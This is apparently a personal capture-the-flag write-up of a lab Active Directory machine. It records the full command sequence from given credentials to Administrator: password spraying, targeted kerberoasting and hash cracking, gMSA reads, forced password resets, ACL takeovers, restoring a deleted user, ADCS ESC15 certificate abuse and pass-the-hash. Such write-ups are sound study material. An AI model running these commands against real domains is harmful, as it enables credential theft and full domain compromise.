# Lessons Learned
- Always enumerate existence of ADCS
- If enabled, follow-up with `certipy-ad find` and `certipy-ad find [xxx] -vulnerable -stdout` (if we have a privileged user)
- Also use cypher query to enumerate cert enrollment info
- Use `faketime` with `certipy-ad` and kerberos-related commands when there's a significant clock skew
- NOTE: Look for deleted users that can be restored from the Recycle Bin
- Take time to map out attack chain when there's a complex sequence of DACL abuses
- For remote AD enum, use `RustHound-CE` over `python-bloodhound`
- `RustHound-CE` enumerates certificate info, whilst `python-bloodhound` does not
- If bloodhound ingestion fails when using a ZIP, try uploading the individual JSON files
- Rerun bloodhound ingestor once we are on the DC or a domain-joined host with `SharpHound`
- `SharpHound` this provides higher fidelity info
- Use `PowerView` to manually enumerate/confirm sketchy or problematic DACLs and objects
---
# BLUF
- ADCS heavy box with ESC15
- After failing to turn up any fruitful attack vectors from HTTP and SMB enum, run `bloodhound.py` using given creds for henry
- This provides us with a long attack sequence from henry -> Alfred -> Ansible_Dev$ -> sam -> john
- john is a member of `Remote Management Users`, which enables an interactive shell on the box via `evil-winrm`
- This gives use `user.txt`
- john has GenericAll over the ADCS OU
- I bang my head against the wall here trying to use this to privesc to Domain Admins or the like
- ADCS has no associated objects
- Enumerate ADCS info with `certipy-ad find`
- We see a SID that cannot resolve to a name
- Run `SharpHound` for improved visibility
- Restore `cert_admin` user from Recycle Bin > was wondering why the box was named tombwatcher
- Set new password for `cert_admin` given john's GenericAll rights
- Enumerate ADCS vulns as `cert_admin` user with `certipy-ad find [xxx] -vulnerable -stdout`
- Exploit the ESC15 vuln to grab nthash for Administrator
---
# Discover Ports & Services
- add given creds to `creds.txt` for easy reference
- `ping` test ![[images/Pasted image 20260315194806.png]]
- `nmap` scan - light ![[images/Pasted image 20260315195016.png]]
- Maybe a DC? But, no port 88 - kerberos
- `nmap` scan - detailed ![[images/Pasted image 20260315195413.png]]
- Note: domain = `tombwatcher.htb` and DC = `DC01.tombwatcher.htb`
- Update `/etc/hosts` with this info
- Note: clock skew = 4 hours
---
# Service Enum
## Port 80: IIS
- Visit website > default IIS ![[images/Pasted image 20260315195655.png]]
- No `robots.txt`; no `sitemap.xml`
- `whatweb` scan ![[images/Pasted image 20260315201640.png]]
- `nikto` scan ![[images/Pasted image 20260315202951.png]]
- Web fuzzing
- Directory
- raft-medium ![[images/Pasted image 20260315200041.png]]
- `aspnet_client` is a 404 error
- 2.3-medium ![[images/Pasted image 20260315200851.png]]
- subdomain
- 5000 ![[images/Pasted image 20260315201030.png]]
- 20000 ![[images/Pasted image 20260315201248.png]]
- vhost
- 5000 ![[images/Pasted image 20260315201452.png]]
- 20000 ![[images/Pasted image 20260315201509.png]]
## Port 445: SMB
- null auth ![[images/Pasted image 20260315200512.png]]
- enumerate shares with given creds ![[images/Pasted image 20260315202600.png]]
- `smbclient`
- `NETLOGON` ![[images/Pasted image 20260315202901.png]]
- `SYSVOL` ![[images/Pasted image 20260315202856.png]]
- one interesting directory that we cannot reach
- maybe come back to the `Policies` dir
- `IPC
![[images/Pasted image 20260315203032.png]]
## Port 5985: WinRM
- Able to connect but got an authorization error once command issued ![[images/Pasted image 20260315201337.png]]
---
# AD Enum
## User Enum
- Run `lookupsid.py` ![[images/Pasted image 20260315202105.png]]
- create a `users.txt` ![[images/Pasted image 20260315202352.png]]
- Run `enumdomusers` in `rpcclient` ![[images/Pasted image 20260315202437.png]]
- matches up with the above
- `nxc` users and rid-brute ![[images/Pasted image 20260315203130.png]]
- Run `enum4linux-ng` ![[images/Pasted image 20260315204323.png]]
- nothing new
## ASREP Roasting & Brute Forcing
- Enumerate ASREP roasting ![[images/Pasted image 20260315203514.png]]
- no dice
- Enumerate password policy ![[images/Pasted image 20260315203335.png]]
- Run `rockyou.txt` against our list of `users.txt`
```bash
sudo nxc smb dc01.tombwatcher.htb -u users.txt -p /opt/rockyou.txt -d tombwatcher.htb --continue-on-success --ignore-pw-decoding | grep +
```
## Bloodhound
- Run ingestor
- NOTE: clock skew was 4 hours
```bash
sudo faketime "$(ntpdate -q 10.129.5.35 | cut -d ' ' -f 1,2)" python3 bloodhound.py -u henry -p "H3nry_987TGV!" -dc dc01.tombwatcher.htb -ns 10.129.5.35 -d tombwatcher.htb -c all --zip --use-ldaps
```
![[images/Pasted image 20260315210729.png]]
- Spin up docker container for bloodhound GUI ![[images/Pasted image 20260315210857.png]]
- ADCS confirmation ![[images/Pasted image 20260315212440.png]]
### Attack Chain Prep
- Look for shortest path from owned objects ![[images/Pasted image 20260315212015.png]]
- `henry` can `writeSPN` for `alfred`
- targeted kerberoast
- `alfred` can `addself` to the `infrastructure` group
- `infrastructure` group can `readGMSAPassword` for `Ansible_Dev
- `Ansible_Dev
can `forcechangepassword` for `sam`
- `sam` is a `writeowner` for `john`
- `john` has `genericall` over `ADCS` and is a member of `REMOTE MANAGEMENT USERS` ![[images/Pasted image 20260315214053.png]]
---
# AD Attack Chain
## WriteSPN over Alfred in context of Henry
- Enumerate DN for Alfred
```bash
bloodyAD --dc-ip 10.129.5.35 -d tombwatcher.htb -u henry -p "H3nry_987TGV!" get object alfred
```
![[images/Pasted image 20260316181715.png]]
- Add SPN for Alfred
- not working
```bash
bloodyAD --dc-ip 10.129.5.35 -d tombwatcher.htb -u henry -p "H3nry_987TGV!" msldap addspn "CN=Alfred,CN=Users,DC=tombwatcher,DC=htb" pwn/tombwatccher.htb
```
- Try again with different syntax
```bash
bloodyAD --dc-ip 10.129.5.35 -d tombwatcher.htb -u henry -p "H3nry_987TGV!" set object alfred servicePrincipalName -v 'pwn/tombwatcher.htb'
```
![[images/Pasted image 20260316182340.png]]
- Targeted kerberoast wrt Alfred
```bash
faketime "$(ntpdate -q 10.129.5.35 | cut -d ' ' -f 1,2)" GetUserSPNs.py tombwatcher.htb/henry:"H3nry_987TGV!" -dc-ip 10.129.5.35 -request-user alfred -output alfred.hash
```
![[images/Pasted image 20260316182705.png]]
- Crack type 23 hash (RC4)
- Cracked! Add to `creds.txt`
```bash
hashcat -m 13100 alfred.hash /opt/rockyou.txt
```
## AddSelf to Infrastructure group in context of Alfred
- Add Alfred to Infrastructure group
```bash
bloodyAD --dc-ip 10.129.5.35 -d tombwatcher.htb -u alfred -p <PASSWORD> add groupMember "Infrastructure" alfred
```
![[images/Pasted image 20260316183002.png]]
## readGMSAPassword for Ansible_Dev$ in context of Alfred
- Read password for `Ansible_Dev
- We have the NTLM hash for `Ansible_Dev
```bash
bloodyAD --dc-ip 10.129.5.35 -d tombwatcher.htb -u alfred -p <password> get object Ansible_Dev$ --attr msDS-ManagedPassword
```
![[images/Pasted image 20260316183443.png]]
- Alternatively, we can also use `nxc` to to read the GMSA password
```bash
nxc ldap TARGET -domain inlanefreight.local -u username -p password --gmsa
```
## ForceChangePassword for sam in context of Ansible_Dev$
- Change password for sam
```bash
bloodyAD --dc-ip 10.129.5.35 -d tombwatcher.htb -u Ansible_Dev$ -p aad3b435b51404eeaad3b435b51404ee:nthash set password sam "password"
```
![[images/Pasted image 20260316184303.png]]
## WriteOwner over john in context of sam
- Take ownership of john
```bash
bloodyAD --dc-ip 10.129.5.35 -d tombwatcher.htb -u sam -p "password" set owner john sam
```
![[images/Pasted image 20260316184404.png]]
- Add GenericAll over john
```bash
bloodyAD --dc-ip 10.129.5.35 -d tombwatcher.htb -u sam -p "password" add genericAll john sam
```
![[images/Pasted image 20260316184606.png]]
- Change password for john
```bash
bloodyAD --dc-ip 10.129.5.35 -d tombwatcher.htb -u sam -p "password" set password john "password"
```
![[images/Pasted image 20260316184655.png]]
## GenericAll over OU in context of john
- Identify DN (distinguished name) for OU
- Add ACE to OU granting john GenericAll over all descendant objects
```bash
bloodyAD --dc-ip 10.129.5.35 -d tombwatcher.htb -u john -p "password" add genericAll "OU=ADCS,DC=tombwatcher,DC=htb" john --inheritance true
```
![[images/Pasted image 20260316185042.png]]
- Add john to Domain Admins group
```bash
bloodyAD --dc-ip 10.129.5.35 -d tombwatcher.htb -u john -p "password" add groupMember "Domain Admins" john
```
- Keep getting insufficient privs error > maybe the GenericAll ACE was not inherited by the object associated with the Domain Admins group?
- Manually enumerate john's ACLs
---
# Evil-WinRM as john
- Because john is a member of Remote Mgmt Users, connect with `evil-winrm` and collect `user.txt`
```
evil-winrm -i 10.129.5.35 -u john -p password
```
- Run `whoami /all`
![[images/Pasted image 20260316195039.png]]
## PowerView ACL Enum
- Next upload `PowerView.ps1`
```powershell
upload /opt/PowerView.ps1 .
```
![[images/Pasted image 20260316195106.png]]
- Import module and enumerate ACLs for john
```powershell
Import-Module .\PowerView.ps1
$sid = Convert-NameToSid john
Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}
```
![[images/Pasted image 20260316200648.png]]
## SharpHound
- Move `SharpHound.exe` onto target
```powershell
upload /opt/SharpHound/SharpHound.exe .
```
- Collect LDAP data
```powershell
./SharpHound.exe -d tombwatcher.htb --collectionmethods=all --zipfilename=out.zip
```
- Move output to Kali
```
download 20260317000504_out.zip
```
- Review john outbound object control ![[images/Pasted image 20260316201243.png]]
- Look at hint for "Generic Descendant Object Takeover" ![[images/Pasted image 20260316201332.png]]
- Review john's execution privs ![[images/Pasted image 20260316201713.png]]
- john has CanPSRemote, but we need an interactive session on a domain-joined box and we cannot RDP onto the box to make use of this because port 3389 is not open
## Attempt Generic Descendant Object Takeover
- Run `dacledit.py`
- This applies a GenericAll ACE on the OU that will inherit down to all object types
```bash
dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'john' -target-dn 'OU=ADCS,DC=tombwatcher,DC=htb' 'tombwatcher.htb'/'john':'password'
```
- Enumerate ACLs for john again
```powershell
Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}
```
![[images/Pasted image 20260316202650.png]]
- Run `SharpHound` again to see how things changed
- Pretty much the same > Feel like we are going in circles
---
# ADCS Enum
- Run `certipy-ad find`
- Note: `tombwatcher-CA-1`
```bash
certipy-ad find -target dc01.tombwatcher.htb -u john -p password
```
![[images/Pasted image 20260316204525.png]]
- Failure to lookup one object?
- Use `get-ADObject` to enumerate this curiosity
- Nothing
```powershell
Import-Module ActiveDirectory
Get-Command Get-ADObject #confirm importation
Get-ADObject -Identity "S-1-5-21-1392491010-1358638721-2126982587-1111"
```
![[images/Pasted image 20260316205050.png]]
- Check AD recycle bin to see if this object was deleted
```powershell
Get-ADOptionalFeature 'Recycle Bin Feature'
Get-ADObject -Filter 'isdeleted -eq $true -and name -ne "Deleted Objects" -and objectSID -like "S-1-5-21-1392491010-1358638721-2126982587-1111"' -IncludeDeletedObjects -Properties samaccountname,displayname,objectsid
```
- Recover `cert_admin` and confirm
```powershell
Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
Get-ADUser cert_admin
```
![[images/Pasted image 20260316205730.png]]
- Set new password for `cert_admin`
- Note: Because john has GenericAll over ADCS, we could also perform a shadow creds attach on `cert_admin`
```powershell
Set-ADAccountPassword cert_admin -NewPassword (ConvertTo-SecureString 'password!' -AsPlainText -Force)
```
![[images/Pasted image 20260316205830.png]]
- Confirm new password ![[images/Pasted image 20260316205940.png]]
- View ADCS vulns with `cert_admin`
```bash
certipy-ad find -target dc01.tombwatcher.htb -u cert_admin -p 'password!' -vulnerable -stdout
```
- Looks like we have an ESC15 vuln ![[images/Pasted image 20260316210250.png]]
---
# Exploit ESC15 Vuln
- See https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu
- Step 1, request cert for `
[email protected]` with WebServer template
- Note: This cert is given the agent property as opposed to the ability to authenticate because it will not be used directly to authenticate but will be used below to request a ticket
```bash
sudo faketime "$(ntpdate -q 10.129.5.35 | cut -d ' ' -f 1,2)" certipy-ad req -u cert_admin -p 'password!' -dc-ip 10.129.5.35 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer -upn
[email protected] -application-policies 'Certificate Request Agent'
```
![[images/Pasted image 20260316211433.png]]
- Step 2, use pfx to request ticket for Administrator with User template (i.e., meant for authentication/login)
```bash
sudo faketime "$(ntpdate -q 10.129.5.35 | cut -d ' ' -f 1,2)" certipy-ad req -u cert_admin -p 'password!' -dc-ip 110.129.5.35 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template User -pfx administrator.pfx -on-behalf-of 'tombwatcher\Administrator'
```
![[images/Pasted image 20260316211846.png]]
- Step 3, authenticate with ticket for Administrator
```bash
sudo faketime "$(ntpdate -q 10.129.5.35 | cut -d ' ' -f 1,2)" certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.5.35
```
![[images/Pasted image 20260316211857.png]]
- Step 4, PtH for `
[email protected]` with `evil-winrm`
```bash
evil-winrm -i 10.129.5.35 -u Administrator -H nthash
```